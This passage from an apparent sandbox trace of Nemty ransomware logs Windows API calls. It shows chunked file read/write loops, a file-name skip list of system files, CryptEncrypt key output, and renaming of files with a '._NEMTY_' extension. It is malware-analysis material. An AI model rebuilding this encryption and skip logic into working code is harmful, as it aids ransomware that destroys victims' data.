lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.374] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.392] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.392] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.401] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.401] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.410] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.411] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.420] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.420] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.429] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.429] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.435] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.435] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.441] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.441] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0150.441] CloseHandle (hObject=0xffffffff) returned 0 [0150.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0150.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0150.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0150.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0150.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0150.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0150.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0150.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0150.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0150.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0150.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\highDpiImageSwap.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\highdpiimageswap.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\highDpiImageSwap.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\highdpiimageswap.js._nemty_kgobjgd_")) returned 0 [0150.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0150.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0150.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0150.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0150.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0150.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0150.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0150.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0150.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0150.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.442] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xab00, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="library.js", cAlternateFileName="")) returned 1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2=".") returned 1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="..") returned 1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="...") returned 1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="windows") returned -1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="$RECYCLE.BIN") returned 1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="rsa") returned -1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="NTDETECT.COM") returned -1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="ntldr") returned -1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="MSDOS.SYS") returned -1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="IO.SYS") returned 1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="boot.ini") returned 1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="boot.ini") returned 1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="AUTOEXEC.BAT") returned 1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="ntuser.dat") returned -1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="desktop.ini") returned 1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="CONFIG.SYS") returned 1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="RECYCLER") returned -1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="BOOTSECT.BAK") returned 1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="bootmgr") returned 1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="programdata") returned -1 [0150.442] lstrcmpiW (lpString1="library.js", lpString2="appdata") returned 1 [0150.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="library.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="library.js", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="library.js", lpUsedDefaultChar=0x0) returned 10 [0150.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0150.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="library.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="library.js", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="library.js", lpUsedDefaultChar=0x0) returned 10 [0150.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0150.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="library.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="library.js", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="library.js", lpUsedDefaultChar=0x0) returned 10 [0150.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="library.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="library.js", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="library.js", lpUsedDefaultChar=0x0) returned 10 [0150.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340188 [0150.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0150.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0150.443] Sleep (dwMilliseconds=0x5) [0150.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xd519130, dwHighDateTime=0x1d561e8)) [0150.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xd519130, dwHighDateTime=0x1d561e8)) [0150.444] GetLastError () returned 0x5 [0150.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0150.444] GetLastError () returned 0x5 [0150.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0150.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0150.444] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0150.444] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0150.445] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0150.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340230 [0150.445] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340230, pcchString=0x653e5dc | out: pszString="Z8Av6viTHvXo/3cTiOXkVaEI1NI1aXkHQVfcxusIMiUGjJAF17labRdqAkvfdGuJ\r\n0zfYMCah54jxtuw8VX1VF8GPVcoeFjXj6wMVEcoWfIfn1jy9ktbm+R6XRljgh+we\r\nhbLWHu9IqEFASMlwsa4SDp2O5pb2T21izl+7YKRfIRNhiC7xXn7/q0msZs48tSuj\r\n72V6qF0l3eLHFH4v3bMXKq74vx+vlyAIdiXGy+55cyZGwaB8OnAMRS0vx8kkRGMS\r\n2Q/+eyvkSbnuWp3OONbU3fq8Qxs+PqNxaDqDb5zA5NzPZ/rUQJcgcnFL9y4iHevb\r\nUlv5roqkPKRqFLVq4c3Flw==\r\n", pcchString=0x653e5dc) returned 1 [0150.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0150.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340230 | out: hHeap=0x4f90000) returned 1 [0150.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0150.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0150.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340230 [0150.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0150.445] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\library.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\library.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0150.445] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0150.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0150.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.445] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.454] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.454] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.463] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.464] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.473] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.473] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.482] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.482] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.501] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.501] SetFilePointer (in: hFile=0xffffffff, 